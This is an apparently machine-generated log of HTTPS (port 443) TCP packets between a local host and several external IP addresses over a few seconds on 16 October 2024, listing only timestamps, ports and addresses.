Oct 16, 2024 17:56:37.277390003 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.286112070 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.286751032 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.286787987 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.287286043 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.287292957 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.325612068 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.345014095 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.345104933 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.345149994 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.345158100 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.345196962 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.345257044 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.345778942 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.345850945 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.346118927 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.346132994 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.346148014 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.346234083 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.346273899 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.346379042 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.346451044 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.346496105 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.346549988 CEST	443	49769	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.346580982 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.346601009 CEST	49769	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.418267012 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.418479919 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.418554068 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.418638945 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.418665886 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.421405077 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.421525955 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.421618938 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.421761990 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.421797991 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.556833982 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.607024908 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.627588034 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.627609015 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.628694057 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.628701925 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.717617035 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.718801022 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.718817949 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.719830990 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.719902992 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.724651098 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.724730015 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.725014925 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.725019932 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.750587940 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.750648022 CEST	443	49776	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.750709057 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.751960039 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:37.751976013 CEST	443	49776	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:37.757636070 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.757780075 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.757838011 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.763650894 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.763669014 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.763684988 CEST	49770	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.763689995 CEST	443	49770	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.768553019 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.768594027 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.770765066 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.770997047 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.771011114 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.774571896 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.844350100 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.846510887 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.846524000 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.847599983 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.847604990 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.847923994 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.849103928 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.849138975 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.849877119 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.849881887 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.857634068 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.858545065 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.858560085 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.859867096 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.859872103 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.869183064 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.870620012 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.870672941 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.870815039 CEST	443	49771	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.870872021 CEST	49771	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.871717930 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.871758938 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.871817112 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.872035980 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:37.872051954 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:37.977463007 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.977530003 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.977591991 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.978765011 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.978919983 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.979072094 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.985027075 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.985044003 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.986661911 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.986691952 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.986710072 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.986717939 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.990854979 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.991179943 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.991229057 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.993010044 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.993062019 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.993288040 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.996371031 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.996412039 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.996505022 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.996670961 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.996689081 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.996700048 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.996706009 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.998997927 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.999042988 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.999190092 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.999455929 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.999478102 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:37.999950886 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:37.999959946 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.000313997 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.000344038 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.171040058 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.171801090 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.171849012 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.172585964 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.172594070 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.318722963 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.318783045 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.318854094 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.319288015 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.319334030 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.325321913 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.325418949 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.325505972 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.325663090 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.325697899 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.369242907 CEST	443	49776	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:38.369517088 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.369543076 CEST	443	49776	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:38.371201038 CEST	443	49776	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:38.371278048 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.372365952 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.372459888 CEST	443	49776	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:38.372627974 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.372642040 CEST	443	49776	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:38.372682095 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.372716904 CEST	49776	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.373048067 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.373097897 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:38.373197079 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.373601913 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:38.373620033 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:38.486534119 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:38.486979961 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:38.487011909 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:38.487921000 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:38.487988949 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:38.489825010 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:38.489897013 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:38.490288019 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:38.490303040 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:38.541088104 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:38.548263073 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.549799919 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.549833059 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.551647902 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.551654100 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.634175062 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:38.634763002 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:38.634867907 CEST	443	49778	35.190.80.1	192.168.2.5
Oct 16, 2024 17:56:38.634934902 CEST	49778	443	192.168.2.5	35.190.80.1
Oct 16, 2024 17:56:38.772943020 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.773030043 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.773192883 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.773266077 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.773289919 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.773303032 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.773308992 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.776226997 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.776262045 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.776366949 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.776581049 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.776595116 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.801089048 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.801507950 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.801589012 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.801892996 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.801906109 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.890733957 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.891316891 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.891334057 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.891870975 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.891875982 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.924835920 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.925532103 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.925579071 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.926067114 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.926074028 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.928484917 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.929420948 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.929491997 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.929594994 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.929594994 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.929636002 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.929657936 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.932101965 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.932216883 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:38.932300091 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.932467937 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:38.932501078 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.035403013 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.035463095 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.035548925 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.043222904 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.057988882 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.058775902 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.058893919 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.072761059 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.072761059 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.072813988 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.072839975 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.073836088 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.073864937 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.075632095 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.075655937 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.076994896 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.124569893 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.164114952 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.217010975 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.217166901 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.217185020 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.217294931 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.217330933 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.217380047 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.217770100 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.217775106 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.219682932 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.219739914 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.219929934 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.220036030 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.220056057 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.220956087 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.221000910 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.221158981 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.221482038 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.221496105 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.268544912 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.343280077 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.343457937 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.343519926 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.344290018 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.344377041 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.344558954 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.353789091 CEST	49783	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.353809118 CEST	443	49783	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.375925064 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.375982046 CEST	443	49788	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.376154900 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.376682043 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:39.376699924 CEST	443	49788	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:39.377289057 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.377301931 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.377331972 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.377338886 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.382287979 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.382314920 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.382422924 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.382656097 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.382667065 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.418421984 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:39.418514967 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:39.418606997 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:39.418786049 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:39.418822050 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:39.534785032 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.535279989 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.535304070 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.535712957 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.535718918 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.665432930 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.665930986 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.666012049 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.666359901 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.666374922 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.669202089 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.670192003 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.670250893 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.670291901 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.670306921 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.670320988 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.670325994 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.672542095 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.672581911 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:39.672648907 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.672765017 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:39.672777891 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.010015011 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.010183096 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.010265112 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.018065929 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.018065929 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.018106937 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.018134117 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.022944927 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.023003101 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.023062944 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.023401976 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.023421049 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.058654070 CEST	443	49788	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.058913946 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.058938980 CEST	443	49788	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.059798956 CEST	443	49788	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.059869051 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.060235977 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.060235977 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.060282946 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.060293913 CEST	443	49788	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.060359001 CEST	49788	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.060602903 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.060647011 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.060801029 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.060997009 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.061012983 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.080936909 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:40.081157923 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:40.081180096 CEST	443	49790	104.21.34.79	192.168.2.5
